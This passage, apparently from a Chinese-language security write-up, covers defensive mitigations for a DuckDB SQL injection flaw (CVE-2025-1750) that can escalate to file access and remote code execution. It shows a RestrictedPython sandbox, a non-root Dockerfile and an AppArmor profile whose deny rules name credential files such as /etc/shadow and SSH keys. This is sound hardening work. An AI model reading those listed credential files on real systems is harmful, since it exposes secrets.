con.execute("PRAGMA enable_object_cache=false")应用层沙箱
使用沙箱技术限制进程权限:
# 使用 PyPy沙箱或 restrictedpython
from RestrictedPython import compile_restricted
from RestrictedPython.Guards import guarded_iter_unpack_sequence
code = """
def safe_delete(ref_doc_id):
# 受限的执行环境
pass
"""
byte_code = compile_restricted(code, filename="<string>", mode="exec")
exec(byte_code, {'__builtins__': {}})操作系统隔离
使用容器或虚拟机隔离应用:
# Dockerfile
FROM python:3.10-slim
# 创建非 root 用户
RUN useradd -m -u 1000 appuser
# 使用只读文件系统
RUN --mount=type=cache,target=/var/cache/apt \
apt-get update && apt-get install -y --no-install-recommends \
libduckdb-dev
USER appuser
# 限制写入权限
VOLUME ["/app/data"]
COPY . /app
WORKDIR /app
# 使用只读根文件系统(除了特定目录)
# docker run --read-only --tmpfs /tmp ...网络隔离
限制应用的网络访问能力:
# 使用 iptables 限制出站连接
# 或使用 AppArmor/SELinux 强制访问控制
# AppArmor 配置示例
#include <tunables/global>
/usr/bin/python3.10 {
#include <abstractions/base>
#include <abstractions/python>
deny network,
deny /etc/shadow r,
deny /etc/passwd r,
deny /home/*/.ssh/** rw,
/tmp/** rw,
/app/** r,
}CVE-2025-1750因DuckDB特性使SQL注入可升级为文件读写与远程代码执行,危害严重。
由 AI 根据全文自动生成,仅供参考,以原文为准
